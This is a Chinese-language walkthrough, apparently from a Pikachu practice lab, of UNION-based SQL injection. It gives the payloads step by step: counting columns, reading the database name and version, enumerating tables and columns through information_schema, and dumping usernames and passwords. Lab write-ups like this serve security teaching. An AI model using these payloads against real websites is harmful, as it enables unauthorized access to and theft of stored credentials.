1、判断字段
SQL命令:
a' order by 1#'
查询到第3个时,显示不正常,则有两个字段;
数据库执行的命令:
select * from 表名 where username ='a' order by 1#'2、显示占位的数字,在网页上面可以显示看到数字能够显示的内容:
union联合查询中,前面的查询结果和后面的查询结果都为真的,则都会显示。如果前面的查询结果是假的,则只会显示后面的查询结果,
如果都为真,则前面后面都可以查询;
若输入的名字原来有,则会显示,原先的和后面语句该显示的内容;
SQL命令:
a' union select 1,2#' 前面不正确则会显示,则会显示后面
数据库执行命令:
select * from 表名 where username='a' union select 1,2#'3、在所占的位置上面查看数据库和版本:
SQL命令:
a' union select database(),version()#'
数据库命令:
select * from 表名 where username='a' union select database(),version()#'4、查看数据表:
table_schema是数据库的名称;
table_name是具体的表名;
table_type指的是表的类型;
SQL命令:
a' union select table_schema,table_name from information_schema.tables where table_schema="pikachu"#'
数据库命令:
select * from 表名 where username='a' union select table_schema,table_name from information_schema.tables where table_schema="pikachu"#'5、查看数据列:
column_name 是数据列名称;
SQL命令:
a' union select table_name,column_name from information_schema.columns where table_name="users"#'
数据库命令:
select * from 表名 where username='a' union select table_schema,column_name from information_schema.columns where table_name="users"#'6、查看数据:
SQL命令:
a' union select username,password from users#'
数据库命令:
select * from 表名 where username='a' union select username,password from users#'
1、判断字段SQL命令:a' order by 1#'查询到第3个时,显示不正常,则有两个字段;数据库执行的命令:select * from 表名 where username = 'a' order by 1#'2、显示占位的数字,在网页上面可以显示看到数字能够显示的内容:union联合查询中,前面的查询结果和后面的查询结果都为真的,则都会显示。如果前面的查询结果是假的,则只会显...